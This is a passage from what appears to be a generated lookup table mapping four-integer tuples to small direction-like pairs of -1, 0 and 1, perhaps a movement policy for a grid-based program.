1), (6, 2, 5, 0): (0, 1), (6, 2, 5, 1): (0, 1), (6, 2, 5, 2): (0, 1), (6, 2, 5, 3): (0, 1), (6, 2, 5, 4): (0, 1), (6, 2, 5, 5): (0, 1), (6, 3, -5, -5): (0, 1), (6, 3, -5, -4): (0, 1), (6, 3, -5, -3): (0, 0), (6, 3, -5, -2): (-1, -1), (6, 3, -5, -1): (0, 1), (6, 3, -5, 0): (0, 1), (6, 3, -5, 1): (0, 1), (6, 3, -5, 2): (0, 1), (6, 3, -5, 3): (0, 1), (6, 3, -5, 4): (0, 1), (6, 3, -5, 5): (0, 1), (6, 3, -4, -5): (-1, 1), (6, 3, -4, -4): (-1, 1), (6, 3, -4, -3): (-1, 0), (6, 3, -4, -2): (-1, -1), (6, 3, -4, -1): (0, 1), (6, 3, -4, 0): (0, 1), (6, 3, -4, 1): (0, 1), (6, 3, -4, 2): (0, 1), (6, 3, -4, 3): (0, 1), (6, 3, -4, 4): (0, 1), (6, 3, -4, 5): (0, 1), (6, 3, -3, -5): (-1, 1), (6, 3, -3, -4): (-1, 1), (6, 3, -3, -3): (-1, 0), (6, 3, -3, -2): (-1, -1), (6, 3, -3, -1): (0, 1), (6, 3, -3, 0): (0, 1), (6, 3, -3, 1): (0, 1), (6, 3, -3, 2): (0, 1), (6, 3, -3, 3): (0, 1), (6, 3, -3, 4): (0, 1), (6, 3, -3, 5): (0, 1), (6, 3, -2, -5): (-1, 1), (6, 3, -2, -4): (-1, 1), (6, 3, -2, -3): (-1, 0), (6, 3, -2, -2): (-1, -1), (6, 3, -2, -1): (0, 1), (6, 3, -2, 0): (0, 1), (6, 3, -2, 1): (0, 1), (6, 3, -2, 2): (0, 1), (6, 3, -2, 3): (0, 1), (6, 3, -2, 4): (0, 1), (6, 3, -2, 5): (0, 1), (6, 3, -1, -5): (-1, 1), (6, 3, -1, -4): (-1, 1), (6, 3, -1, -3): (-1, 0), (6, 3, -1, -2): (0, 1), (6, 3, -1, -1): (0, 1), (6, 3, -1, 0): (1, 1), (6, 3, -1, 1): (1, 1), (6, 3, -1, 2): (1, 1), (6, 3, -1, 3): (1, 1), (6, 3, -1, 4): (1, 1), (6, 3, -1, 5): (1, 0), (6, 3, 0, -5): (0, 1), (6, 3, 0, -4): (0, 1), (6, 3, 0, -3): (-1, 1), (6, 3, 0, -2): (-1, 1), (6, 3, 0, -1): (1, 1), (6, 3, 0, 0): (1, 1), (6, 3, 0, 1): (1, 1), (6, 3, 0, 2): (1, 1), (6, 3, 0, 3): (1, 1), (6, 3, 0, 4): (1, 1), (6, 3, 0, 5): (1, 0), (6, 3, 1, -5): (1, 0), (6, 3, 1, -4): (1, 0), (6, 3, 1, -3): (1, 0), (6, 3, 1, -2): (1, -1), (6, 3, 1, -1): (1, 1), (6, 3, 1, 0): (0, 1), (6, 3, 1, 1): (0, 1), (6, 3, 1, 2): (0, 1), (6, 3, 1, 3): (0, 1), (6, 3, 1, 4): (0, 1), (6, 3, 1, 5): (0, 1), (6, 3, 2, -5): (1, 0), (6, 3, 2, -4): (1, 0), (6, 3, 2, -3): (1, 0), (6, 3, 2, -2): (1, -1), (6, 3, 2, -1): (0, 1), (6, 3, 2, 0): (-1, 1), (6, 3, 2, 1): (-1, 1), (6, 3, 2, 2): (-1, 1), (6, 3, 2, 3): (-1, 1), (6, 3, 2, 4): (-1, 1), (6, 3, 2, 5): (-1, 1), (6, 3, 3, -5): (0, 1), (6, 3, 3, -4): (0, 1), (6, 3, 3, -3): (0, 0), (6, 3, 3, -2): (1, 1), (6, 3, 3, -1): (1, 1), (6, 3, 3, 0): (-1, 1), (6, 3, 3, 1): (-1, 1), (6, 3, 3, 2): (-1, 1), (6, 3, 3, 3): (-1, 1), (6, 3, 3, 4): (-1, 1), (6, 3, 3, 5): (-1, 1), (6, 3, 4, -5): (0, 1), (6, 3, 4, -4): (0, 1), (6, 3, 4, -3): (0, 1), (6, 3, 4, -2): (0, 1), (6, 3, 4, -1): (0, 1), (6, 3, 4, 0): (0, 1), (6, 3, 4, 1): (0, 1), (6, 3, 4, 2): (0, 1), (6, 3, 4, 3): (-1, 1), (6, 3, 4, 4): (-1, 1), (6, 3, 4, 5): (-1, 1), (6, 3, 5, -5): (0, 1), (6, 3, 5, -4): (0, 1), (6, 3, 5, -3): (0, 1), (6, 3, 5, -2): (0, 1), (6, 3, 5, -1): (0, 1), (6, 3, 5, 0): (0, 1), (6, 3, 5, 1): (0, 1), (6, 3, 5, 2): (0, 1), (6, 3, 5, 3): (0, 1), (6, 3, 5, 4): (0, 1), (6, 3, 5, 5): (0, 1), (6, 4, -5, -5): (0, 1), (6, 4, -5, -4): (0, 0), (6, 4, -5, -3): (-1, -1), (6, 4, -5, -2): (0, 1), (6, 4, -5, -1): (0, 1), (6, 4, -5, 0): (0, 1), (6, 4, -5, 1): (0, 1), (6, 4, -5, 2): (0, 1), (6, 4, -5, 3): (0, 1), (6, 4, -5, 4): (0, 1), (6, 4, -5, 5): (0, 1), (6, 4, -4, -5): (-1, 1), (6, 4, -4, -4): (-1, 0), (6, 4, -4, -3): (-1, -1), (6, 4, -4, -2): (0, 1), (6, 4, -4, -1): (0, 1), (6, 4, -4, 0): (0, 1), (6, 4, -4, 1): (0, 1), (6, 4, -4, 2): (0, 1), (6, 4, -4, 3): (0, 1), (6, 4, -4, 4): (0, 1), (6, 4, -4, 5): (0, 1), (6, 4, -3, -5): (-1, 1), (6, 4, -3, -4): (-1, 0), (6, 4, -3, -3): (-1, -1), (6, 4, -3, -2): (0, 1), (6, 4, -3, -1): (0, 1), (6, 4, -3, 0): (0, 1), (6, 4, -3, 1): (0, 1), (6, 4, -3, 2): (0, 1), (6, 4, -3, 3): (0, 1), (6, 4, -3, 4): (0, 1), (6, 4, -3, 5): (0, 1), (6, 4, -2, -5): (-1, 1), (6, 4, -2, -4): (-1, 0), (6, 4, -2, -3): (-1, -1), (6, 4, -2, -2): (0, 1), (6, 4, -2, -1): (0, 1), (6, 4, -2, 0): (0, 1), (6, 4, -2, 1): (0, 1), (6, 4, -2, 2): (0, 1), (6, 4, -2, 3): (0, 1), (6, 4, -2, 4): (0, 1), (6, 4, -2, 5): (0, 1), (6, 4, -1, -5): (-1, 1), (6, 4, -1, -4): (-1, 0), (6, 4, -1, -3): (0, 1), (6, 4, -1, -2): (0, 1), (6, 4, -1, -1): (0, 1), (6, 4, -1, 0): (1, 1), (6, 4, -1, 1): (1, 1), (6, 4, -1, 2): (1, 1), (6, 4, -1, 3): (1, 1), (6, 4, -1, 4): (1, 1), (6, 4, -1, 5): (1, 0), (6, 4, 0, -5): (0, 1), (6, 4, 0, -4): (-1, 1), (6, 4, 0, -3): (-1, 1), (6, 4, 0, -2): (-1, 1), (6, 4, 0, -1): (1, 1), (6, 4, 0, 0): (1, 1), (6, 4, 0, 1): (1, 1), (6, 4, 0, 2): (1, 1), (6, 4, 0, 3): (1, 1), (6, 4, 0, 4): (1, 1), (6, 4, 0, 5): (1, 0), (6, 4, 1, -5): (1, 0), (6, 4, 1, -4): (1, 0), (6, 4, 1, -3): (1, -1), (6, 4, 1, -2): (1, 1), (6, 4, 1, -1): (0, 1), (6, 4, 1, 0): (0, 1), (6, 4, 1, 1): (0, 1), (6, 4, 1, 2): (0, 1), (6, 4, 1, 3): (0, 1), (6, 4, 1, 4): (0, 1), (6, 4, 1, 5): (0, 1), (6, 4, 2, -5): (1, 0), (6, 4, 2, -4): (1, 0), (6, 4, 2, -3): (1, -1), (6, 4, 2, -2): (0, 1), (6, 4, 2, -1): (-1, 1), (6, 4, 2, 0): (-1, 1), (6, 4, 2, 1): (-1, 1), (6, 4, 2, 2): (-1, 1), (6, 4, 2, 3): (-1, 1), (6, 4, 2, 4): (-1, 1), (6, 4, 2, 5): (-1, 1), (6, 4, 3, -5): (0, 1), (6, 4, 3, -4): (0, 0), (6, 4, 3, -3): (1, 1), (6, 4, 3, -2): (1, 1), (6, 4, 3, -1): (1, 1), (6, 4, 3, 0): (-1, 1), (6, 4, 3, 1): (-1, 1), (6, 4, 3, 2): (-1, 1), (6, 4, 3, 3): (-1, 1), (6, 4, 3, 4): (-1, 1), (6, 4, 3, 5): (-1, 1), (6, 4, 4, -5): (0, 1), (6, 4, 4, -4): (0, 1), (6, 4, 4, -3): (0, 1), (6, 4, 4, -2): (0, 1), (6, 4, 4, -1): (0, 1), (6, 4, 4, 0): (0, 1), (6, 4, 4, 1): (0, 1), (6, 4, 4, 2): (0, 1), (6, 4, 4, 3): (-1, 1), (6, 4, 4, 4): (-1, 1), (6, 4, 4, 5): (-1, 1), (6, 4, 5, -5): (0, 1), (6, 4, 5, -4): (0, 1), (6, 4, 5, -3): (0, 1), (6, 4, 5, -2): (0, 1), (6, 4, 5, -1): (0, 1), (6, 4, 5, 0): (0, 1), (6, 4, 5, 1): (0, 1), (6, 4, 5, 2): (0, 1), (6, 4, 5, 3): (0, 1), (6, 4, 5, 4): (0, 1), (6, 4, 5, 5): (0, 1), (6, 5, -5, -5): (0, 0), (6, 5, -5, -4): (-1, -1), (6, 5, -5, -3): (0, 1), (6, 5, -5, -2): (0, 1), (6, 5, -5, -1): (0, 1), (6, 5, -5, 0): (0, 1), (6, 5, -5, 1): (0, 1), (6, 5, -5, 2): (0, 1), (6, 5, -5, 3): (0, 1), (6, 5, -5, 4): (0, 1), (6, 5, -5, 5): (0, 1), (6, 5, -4, -5): (-1, 0), (6, 5, -4, -4): (-1, -1), (6, 5, -4, -3): (0, 1), (6, 5, -4, -2): (0, 1), (6, 5, -4, -1): (0, 1), (6, 5, -4, 0): (0, 1), (6, 5, -4, 1): (0, 1), (6, 5, -4, 2): (0, 1), (6, 5, -4, 3): (0, 1), (6, 5, -4, 4): (0, 1), (6, 5, -4, 5): (0, 1), (6, 5, -3, -5): (-1, 0), (6, 5, -3, -4): (-1, -1), (6, 5, -3, -3): (0, 1), (6, 5, -3, -2): (0, 1), (6, 5, -3, -1): (0, 1), (6, 5, -3, 0): (0, 1), (6, 5, -3, 1): (0, 1), (6, 5, -3, 2): (0, 1), (6, 5, -3, 3): (0, 1), (6, 5, -3, 4): (0, 1), (6, 5, -3, 5): (0, 1), (6, 5, -2, -5): (-1, 0), (6, 5, -2, -4): (-1, -1), (6, 5, -2, -3): (0, 1), (6, 5, -2, -2): (0, 1), (6, 5, -2, -1): (0, 1), (6, 5, -2, 0): (0, 1), (6, 5, -2, 1): (0, 1), (6, 5, -2, 2): (0, 1), (6, 5, -2, 3): (0, 1), (6, 5, -2, 4): (0, 1), (6, 5, -2, 5): (0, 1), (6, 5, -1, -5): (-1, 0), (6, 5, -1, -4): (0, 1), (6, 5, -1, -3): (0, 1), (6, 5, -1, -2): (0, 1), (6, 5, -1, -1): (0, 1), (6, 5, -1, 0): (1, 1), (6, 5, -1, 1): (1, 1), (6, 5, -1, 2): (1, 1), (6, 5, -1, 3): (1, 1), (6, 5, -1, 4): (1, 1), (6, 5, -1, 5): (1, 0), (6, 5, 0, -5): (-1, 1), (6, 5, 0, -4): (-1, 1), (6, 5, 0, -3): (-1, 1), (6, 5, 0, -2): (-1, 1), (6, 5, 0, -1): (1, 1), (6, 5, 0, 0): (1, 1), (6, 5, 0, 1): (1, 1), (6, 5, 0, 2): (1, 1), (6, 5, 0, 3): (1, 1), (6, 5, 0, 4): (1, 1), (6, 5, 0, 5): (1, 0), (6, 5, 1, -5): (1, 0), (6, 5, 1, -4): (1, -1), (6, 5, 1, -3): (1, 1), (6, 5, 1, -2): (1, 1), (6, 5, 1, -1): (1, 1), (6, 5, 1, 0): (0, 1), (6, 5, 1, 1): (0, 1), (6, 5, 1, 2): (0, 1), (6, 5, 1, 3): (0, 1), (6, 5, 1, 4): (0, 1), (6, 5, 1, 5): (0, 1), (6, 5, 2, -5): (1, 0), (6, 5, 2, -4): (1, -1), (6, 5, 2, -3): (0, 1), (6, 5, 2, -2): (0, 1), (6, 5, 2, -1): (0, 1), (6, 5, 2, 0): (-1, 1), (6, 5, 2, 1): (-1, 1), (6, 5, 2, 2): (-1, 1), (6, 5, 2, 3): (-1, 1), (6, 5, 2, 4): (-1, 1), (6, 5, 2, 5): (-1, 1), (6, 5, 3, -5): (0, 0), (6, 5, 3, -4): (1, 1), (6, 5, 3, -3): (1, 1), (6, 5, 3, -2): (1, 1), (6, 5, 3, -1): (1, 1), (6, 5, 3, 0): (-1, 1), (6, 5, 3, 1): (-1, 1), (6, 5, 3, 2): (-1, 1), (6, 5, 3, 3): (-1, 1), (6, 5, 3, 4): (-1, 1), (6, 5, 3, 5): (-1, 1), (6, 5, 4, -5): (0, 1), (6, 5, 4, -4): (0, 1), (6, 5, 4, -3): (0, 1), (6, 5, 4, -2): (0, 1), (6, 5, 4, -1): (0, 1), (6, 5, 4, 0): (0, 1), (6, 5, 4, 1): (0, 1), (6, 5, 4, 2): (0, 1), (6, 5, 4, 3): (-1, 1), (6, 5, 4, 4): (0, 1), (6, 5, 4, 5): (0, 1), (6, 5, 5, -5): (0, 1), (6, 5, 5, -4): (0, 1), (6, 5, 5, -3): (0, 1), (6, 5, 5, -2): (0, 1), (6, 5, 5, -1): (0, 1), (6, 5, 5, 0): (0, 1), (6, 5, 5, 1): (0, 1), (6, 5, 5, 2): (0, 1), (6, 5, 5, 3): (0, 1), (6, 5, 5, 4): (0, 1), (6, 5, 5, 5): (0, 1), (6, 6, -5, -5): (0, 1), (6, 6, -5, -4): (0, 1), (6, 6, -5, -3): (0, 1), (6, 6, -5, -2): (0, 1), (6, 6, -5, -1): (0, 1), (6, 6, -5, 0): (0, 1), (6, 6, -5, 1): (0, 1), (6, 6, -5, 2): (0, 1), (6, 6, -5, 3): (0, 1), (6, 6, -5, 4): (0, 1), (6, 6, -5, 5): (0, 1), (6, 6, -4, -5): (0, 1), (6, 6, -4, -4): (0, 1), (6, 6, -4, -3): (0, 1), (6, 6, -4, -2): (0, 1), (6, 6, -4, -1): (0, 1), (6, 6, -4, 0): (0, 1), (6, 6, -4, 1): (0, 1), (6, 6, -4, 2): (0, 1), (6, 6, -4, 3): (0, 1), (6, 6, -4, 4): (0, 1), (6, 6, -4, 5): (0, 1), (6, 6, -3, -5): (0, 1), (6, 6, -3, -4): (0, 1), (6, 6, -3, -3): (0, 1), (6, 6, -3, -2): (0, 1), (6, 6, -3, -1): (0, 1), (6, 6, -3, 0): (0, 1), (6, 6, -3, 1): (0, 1), (6, 6, -3, 2): (0, 1), (6, 6, -3, 3): (0, 1), (6, 6, -3, 4): (0, 1), (6, 6, -3, 5): (0, 1), (6, 6, -2, -5): (0, 1), (6, 6, -2, -4): (0, 1), (6, 6, -2, -3): (0, 1), (6, 6, -2, -2): (0, 1), (6, 6, -2, -1): (0, 1), (6, 6, -2, 0): (0, 1), (6, 6, -2, 1): (0, 1), (6, 6, -2, 2): (0, 1), (6, 6, -2, 3): (0, 1), (6, 6, -2, 4): (0, 1), (6, 6, -2, 5): (0, 1), (6, 6, -1, -5): (0, 1), (6, 6, -1, -4): (0, 1), (6, 6, -1, -3): (0, 1), (6, 6, -1, -2): (0, 1), (6, 6, -1, -1): (0, 1), (6, 6, -1, 0): (1, 1), (6, 6, -1, 1): (1, 1), (6, 6, -1, 2): (1, 1), (6, 6, -1, 3): (1, 1), (6, 6, -1, 4): (1, 1), (6, 6, -1, 5): (1, 0), (6, 6, 0, -5): (-1, 1), (6, 6, 0, -4): (-1, 1), (6, 6, 0, -3): (-1, 1), (6, 6, 0, -2): (-1, 1), (6, 6, 0, -1): (1, 1), (6, 6, 0, 0): (1, 1), (6, 6, 0, 1): (1, 1), (6, 6, 0, 2): (1, 1), (6, 6, 0, 3): (1, 1), (6, 6, 0, 4): (1, 1), (6, 6, 0, 5): (1, 0), (6, 6, 1, -5): (1, 0), (6, 6, 1, -4): (1, 0), (6, 6, 1, -3): (1, 1), (6, 6, 1, -2): (1, 1), (6, 6, 1, -1): (1, 1), (6, 6, 1, 0): (0, 1), (6, 6, 1, 1): (0, 1), (6, 6, 1, 2): (0, 1), (6, 6, 1, 3): (0, 1), (6, 6, 1, 4): (0, 1), (6, 6, 1, 5): (0, 1), (6, 6, 2, -5): (0, 1), (6, 6, 2, -4): (0, 1), (6, 6, 2, -3): (0, 1), (6, 6, 2, -2): (0, 1), (6, 6, 2, -1): (0, 1), (6, 6, 2, 0): (-1, 1), (6, 6, 2, 1): (-1, 1), (6, 6, 2, 2): (-1, 1), (6, 6, 2, 3): (-1, 1), (6, 6, 2, 4): (-1, 1), (6, 6, 2, 5): (-1, 1), (6, 6, 3, -5): (1, 1), (6, 6, 3, -4): (1, 1), (6, 6, 3, -3): (1, 1), (6, 6, 3, -2): (1, 1), (6, 6, 3, -1): (1, 1), (6, 6, 3, 0): (-1, 1), (6, 6, 3, 1): (-1, 1), (6, 6, 3, 2): (-1, 1), (6, 6, 3, 3): (-1, 1), (6, 6, 3, 4): (-1, 1), (6, 6, 3, 5): (-1, 1), (6, 6, 4, -5): (0, 1), (6, 6, 4, -4): (0, 1), (6, 6, 4, -3): (0, 1), (6, 6, 4, -2): (0, 1), (6, 6, 4, -1): (0, 1), (6, 6, 4, 0): (0, 1), (6, 6, 4, 1): (0, 1), (6, 6, 4, 2): (0, 1), (6, 6, 4, 3): (0, 1), (6, 6, 4, 4): (-1, 1), (6, 6, 4, 5): (-1, 1), (6, 6, 5, -5): (0, 1), (6, 6, 5, -4): (0, 1), (6, 6, 5, -3): (0, 1), (6, 6, 5, -2): (0, 1), (6, 6, 5, -1): (0, 1), (6, 6, 5, 0): (0, 1), (6, 6, 5, 1): (0, 1), (6, 6, 5, 2): (0, 1), (6, 6, 5, 3): (0, 1), (6, 6, 5, 4): (0, 1), (6, 6, 5, 5): (0, 1), (6, 7, -5, -5): (0, 1), (6, 7, -5, -4): (0, 1), (6, 7, -5, -3): (0, 1), (6, 7, -5, -2): (0, 1), (6, 7, -5, -1): (0, 1), (6, 7, -5, 0): (0, 1), (6, 7, -5, 1): (0, 1), (6, 7, -5, 2): (0, 1), (6, 7, -5, 3): (0, 1), (6, 7, -5, 4): (0, 1), (6, 7, -5, 5): (0, 1), (6, 7, -4, -5): (0, 1), (6, 7, -4, -4): (0, 1), (6, 7, -4, -3): (0, 1), (6, 7, -4, -2): (0, 1), (6, 7, -4, -1): (0, 1), (6, 7, -4, 0): (0, 1), (6, 7, -4, 1): (0, 1), (6, 7, -4, 2): (0, 1), (6, 7, -4, 3): (0, 1), (6, 7, -4, 4): (0, 1), (6, 7, -4, 5): (0, 1), (6, 7, -3, -5): (0, 1), (6, 7, -3, -4): (0, 1), (6, 7, -3, -3): (0, 1), (6, 7, -3, -2): (0, 1), (6, 7, -3, -1): (0, 1), (6, 7, -3, 0): (0, 1), (6, 7, -3, 1): (0, 1), (6, 7, -3, 2): (0, 1), (6, 7, -3, 3): (0, 1), (6, 7, -3, 4): (0, 1), (6, 7, -3, 5): (0, 1), (6, 7, -2, -5): (0, 1), (6, 7, -2, -4): (0, 1), (6, 7, -2, -3): (0, 1), (6, 7, -2, -2): (0, 1), (6, 7, -2, -1): (0, 1), (6, 7, -2, 0): (0, 1), (6, 7, -2, 1): (0, 1), (6, 7, -2, 2): (0, 1), (6, 7, -2, 3): (0, 1), (6, 7, -2, 4): (0, 1), (6, 7, -2, 5): (0, 1), (6, 7, -1, -5): (0, 1), (6, 7, -1, -4): (0, 1), (6, 7, -1, -3): (0, 1), (6, 7, -1, -2): (0, 1), (6, 7, -1, -1): (0, 1), (6, 7, -1, 0): (1, 1), (6, 7, -1, 1): (1, 1), (6, 7, -1, 2): (1, 1), (6, 7, -1, 3): (1, 1), (6, 7, -1, 4): (1, 1), (6, 7, -1, 5): (1, 0), (6, 7, 0, -5): (-1, 1), (6, 7, 0, -4): (-1, 1), (6, 7, 0, -3): (-1, 1), (6, 7, 0, -2): (-1, 1), (6, 7, 0, -1): (1, 1), (6, 7, 0, 0): (1, 1), (6, 7, 0, 1): (1, 1), (6, 7, 0, 2): (1, 1), (6, 7, 0, 3): (1, 1), (6, 7, 0, 4): (1, 1), (6, 7, 0, 5): (1, 0), (6, 7, 1, -5): (1, 0), (6, 7, 1, -4): (1, 1), (6, 7, 1, -3): (1, 1), (6, 7, 1, -2): (1, 1), (6, 7, 1, -1): (1, 1), (6, 7, 1, 0): (0, 1), (6, 7, 1, 1): (0, 1), (6, 7, 1, 2): (0, 1), (6, 7, 1, 3): (0, 1), (6, 7, 1, 4): (0, 1), (6, 7, 1, 5): (0, 1), (6, 7, 2, -5): (0, 1), (6, 7, 2, -4): (0, 1), (6, 7, 2, -3): (0, 1), (6, 7, 2, -2): (0, 1), (6, 7, 2, -1): (0, 1), (6, 7, 2, 0): (-1, 1), (6, 7, 2, 1): (-1, 1), (6, 7, 2, 2): (-1, 1), (6, 7, 2, 3): (-1, 1), (6, 7, 2, 4): (-1, 1), (6, 7, 2, 5): (-1, 1), (6, 7, 3, -5): (1, 1), (6, 7, 3, -4): (1, 1), (6, 7, 3, -3): (1, 1), (6, 7, 3, -2): (1, 1), (6, 7, 3, -1): (1, 1), (6, 7, 3, 0): (-1, 1), (6, 7, 3, 1): (-1, 1), (6, 7, 3, 2): (-1, 1), (6, 7, 3, 3): (-1, 1), (6, 7, 3, 4): (-1, 1), (6, 7, 3, 5): (-1, 1), (6, 7, 4, -5): (0, 1), (6, 7, 4, -4): (0, 1), (6, 7, 4, -3): (0, 1), (6, 7, 4, -2): (0, 1), (6, 7, 4, -1): (0, 1), (6, 7, 4, 0): (0, 1), (6, 7, 4, 1): (0, 1), (6, 7, 4, 2): (0, 1), (6, 7, 4, 3): (0, 1), (6, 7, 4, 4): (-1, 1), (6, 7, 4, 5): (-1, 1), (6, 7, 5, -5): (0, 1), (6, 7, 5, -4): (0, 1), (6, 7, 5, -3): (0, 1), (6, 7, 5, -2): (0, 1), (6, 7, 5, -1): (0, 1), (6, 7, 5, 0): (0, 1), (6, 7, 5, 1): (0, 1), (6, 7, 5, 2): (0, 1), (6, 7, 5, 3): (0, 1), (6, 7, 5, 4): (0, 1), (6, 7, 5, 5): (0, 1), (6, 8, -5, -5): (0, 1), (6, 8, -5, -4): (0, 1), (6, 8, -5, -3): (0, 1), (6, 8, -5, -2): (0, 1), (6, 8, -5, -1): (0, 1), (6, 8, -5, 0): (0, 1), (6, 8, -5, 1): (0, 1), (6, 8, -5, 2): (0, 1), (6, 8, -5, 3): (0, 1), (6, 8, -5, 4): (0, 1), (6, 8, -5, 5): (0, 1), (6, 8, -4, -5): (0, 1), (6, 8, -4, -4): (0, 1), (6, 8, -4, -3): (0, 1), (6, 8, -4, -2): (0, 1), (6, 8, -4, -1): (0, 1), (6, 8, -4, 0): (0, 1), (6, 8, -4, 1): (0, 1), (6, 8, -4, 2): (0, 1), (6, 8, -4, 3): (0, 1), (6, 8, -4, 4): (0, 1), (6, 8, -4, 5): (0, 1), (6, 8, -3, -5): (0, 1), (6, 8, -3, -4): (0, 1), (6, 8, -3, -3): (0, 1), (6, 8, -3, -2): (0, 1), (6, 8, -3, -1): (0, 1), (6, 8, -3, 0): (0, 1), (6, 8, -3, 1): (0, 1), (6, 8, -3, 2): (0, 1), (6, 8, -3, 3): (0, 1), (6, 8, -3, 4): (0, 1), (6, 8, -3, 5): (0, 1), (6, 8, -2, -5): (0, 1), (6, 8, -2, -4): (0, 1), (6, 8, -2, -3): (0, 1), (6, 8, -2, -2): (0, 1), (6, 8, -2, -1): (0, 1), (6, 8, -2, 0): (0, 1), (6, 8, -2, 1): (0, 1), (6, 8, -2, 2): (0, 1), (6, 8, -2, 3): (0, 1), (6, 8, -2, 4): (0, 1), (6, 8, -2, 5): (0, 1), (6, 8, -1, -5): (0, 1), (6, 8, -1, -4): (0, 1), (6, 8, -1, -3): (0, 1), (6, 8, -1, -2): (0, 1), (6, 8, -1, -1): (0, 1), (6, 8, -1, 0): (1, 1), (6, 8, -1, 1): (1, 1), (6, 8, -1, 2): (1, 1), (6, 8, -1, 3): (1, 1), (6, 8, -1, 4): (1, 1), (6, 8, -1, 5): (1, 0), (6, 8, 0, -5): (-1, 1), (6, 8, 0, -4): (-1, 1), (6, 8, 0, -3): (-1, 1), (6, 8, 0, -2): (-1, 1), (6, 8, 0, -1): (1, 1), (6, 8, 0, 0): (1, 1), (6, 8, 0, 1): (1, 1), (6, 8, 0, 2): (1, 1), (6, 8, 0, 3): (1, 1), (6, 8, 0, 4): (1, 1), (6, 8, 0, 5): (1, 0), (6, 8, 1, -5): (1, 0), (6, 8, 1, -4): (1, 1), (6, 8, 1, -3): (1, 1), (6, 8, 1, -2): (1, 1), (6, 8, 1, -1): (0, 1), (6, 8, 1, 0): (0, 1), (6, 8, 1, 1): (0, 1), (6, 8, 1, 2): (0, 1), (6, 8, 1, 3): (0, 1), (6, 8, 1, 4): (0, 1), (6, 8, 1, 5): (0, 1), (6, 8, 2, -5): (0, 1), (6, 8, 2, -4): (0, 1), (6, 8, 2, -3): (0, 1), (6, 8, 2, -2): (0, 1), (6, 8, 2, -1): (-1, 1), (6, 8, 2, 0): (-1, 1), (6, 8, 2, 1): (-1, 1), (6, 8, 2, 2): (-1, 1), (6, 8, 2, 3): (-1, 1), (6, 8, 2, 4): (-1, 1), (6, 8, 2, 5): (-1, 1), (6, 8, 3, -5): (1, 1), (6, 8, 3, -4): (1, 1), (6, 8, 3, -3): (1, 1), (6, 8, 3, -2): (1, 1), (6, 8, 3, -1): (1, 1), (6, 8, 3, 0): (-1, 1), (6, 8, 3, 1): (-1, 1), (6, 8, 3, 2): (-1, 1), (6, 8, 3, 3): (-1, 1), (6, 8, 3, 4): (-1, 1), (6, 8, 3, 5): (-1, 1), (6, 8, 4, -5): (0, 1), (6, 8, 4, -4): (0, 1), (6, 8, 4, -3): (0, 1), (6, 8, 4, -2): (0, 1), (6, 8, 4, -1): (0, 1), (6, 8, 4, 0): (0, 1), (6, 8, 4, 1): (0, 1), (6, 8, 4, 2): (0, 1), (6, 8, 4, 3): (-1, 1), (6, 8, 4, 4): (-1, 1), (6, 8, 4, 5): (-1, 1), (6, 8, 5, -5): (0, 1), (6, 8, 5, -4): (0, 1), (6, 8, 5, -3): (0, 1), (6, 8, 5, -2): (0, 1), (6, 8, 5, -1): (0, 1), (6, 8, 5, 0): (0, 1), (6, 8, 5, 1): (0, 1), (6, 8, 5, 2): (0, 1), (6, 8, 5, 3): (0, 1), (6, 8, 5, 4): (0, 1), (6, 8, 5, 5): (0, 1), (6, 9, -5, -5): (0, 1), (6, 9, -5, -4): (0, 1), (6, 9, -5, -3): (0, 1), (6, 9, -5, -2): (0, 1), (6, 9, -5, -1): (0, 1), (6, 9, -5, 0): (0, 1), (6, 9, -5, 1): (0, 1), (6, 9, -5, 2): (0, 1), (6, 9, -5, 3): (0, 1), (6, 9, -5, 4): (0, 1), (6, 9, -5, 5): (0, 1), (6, 9, -4, -5): (0, 1), (6, 9, -4, -4): (0, 1), (6, 9, -4, -3): (0, 1), (6, 9, -4, -2): (0, 1), (6, 9, -4, -1): (0, 1), (6, 9, -4, 0): (0, 1), (6, 9, -4, 1): (0, 1), (6, 9, -4, 2): (0, 1), (6, 9, -4, 3): (0, 1), (6, 9, -4, 4): (0, 1), (6, 9, -4, 5): (0, 1), (6, 9, -3, -5): (0, 1), (6, 9, -3, -4): (0, 1), (6, 9, -3, -3): (0, 1), (6, 9, -3, -2): (0, 1), (6, 9, -3, -1): (0, 1), (6, 9, -3, 0): (0, 1), (6, 9, -3, 1): (0, 1), (6, 9, -3, 2): (0, 1), (6, 9, -3, 3): (0, 1), (6, 9, -3, 4): (0, 1), (6, 9, -3, 5): (0, 1), (6, 9, -2, -5): (0, 1), (6, 9, -2, -4): (0, 1), (6, 9, -2, -3): (0, 1), (6, 9, -2, -2): (0, 1), (6, 9, -2, -1): (0, 1), (6, 9, -2, 0): (0, 1), (6, 9, -2, 1): (0, 1), (6, 9, -2, 2): (0, 1), (6, 9, -2, 3): (0, 1), (6, 9, -2, 4): (0, 1), (6, 9, -2, 5): (0, 1), (6, 9, -1, -5): (0, 1), (6, 9, -1, -4): (0, 1), (6, 9, -1, -3): (0, 1), (6, 9, -1, -2): (0, 1), (6, 9, -1, -1): (0, 1), (6, 9, -1, 0): (1, 1), (6, 9, -1, 1): (1, 1), (6, 9, -1, 2): (1, 1), (6, 9, -1, 3): (1, 1), (6, 9, -1, 4): (1, 1), (6, 9, -1, 5): (1, 0), (6, 9, 0, -5): (-1, 1), (6, 9, 0, -4): (-1, 1), (6, 9, 0, -3): (-1, 1), (6, 9, 0, -2): (-1, 1), (6, 9, 0, -1): (1, 1), (6, 9, 0, 0): (1, 1), (6, 9, 0, 1): (1, 1), (6, 9, 0, 2): (1, 1), (6, 9, 0, 3): (1, 1), (6, 9, 0, 4): (1, 1), (6, 9, 0, 5): (1, 0), (6, 9, 1, -5): (1, 1), (6, 9, 1, -4): (1, 1), (6, 9, 1, -3): (1, 1), (6, 9, 1, -2): (1, 1), (6, 9, 1, -1): (1, 1), (6, 9, 1, 0): (0, 1), (6, 9, 1, 1): (0, 1), (6, 9, 1, 2): (0, 1), (6, 9, 1, 3): (0, 1), (6, 9, 1, 4): (0, 1), (6, 9, 1, 5): (0, 1), (6, 9, 2, -5): (0, 1), (6, 9, 2, -4): (0, 1), (6, 9, 2, -3): (0, 1), (6, 9, 2, -2): (0, 1), (6, 9, 2, -1): (0, 1), (6, 9, 2, 0): (-1, 1), (6, 9, 2, 1): (-1, 1), (6, 9, 2, 2): (-1, 1), (6, 9, 2, 3): (-1, 1), (6, 9, 2, 4): (-1, 1), (6, 9, 2, 5): (-1, 1), (6, 9, 3, -5): (1, 1), (6, 9, 3, -4): (1, 1), (6, 9, 3, -3): (1, 1), (6, 9, 3, -2): (1, 1), (6, 9, 3, 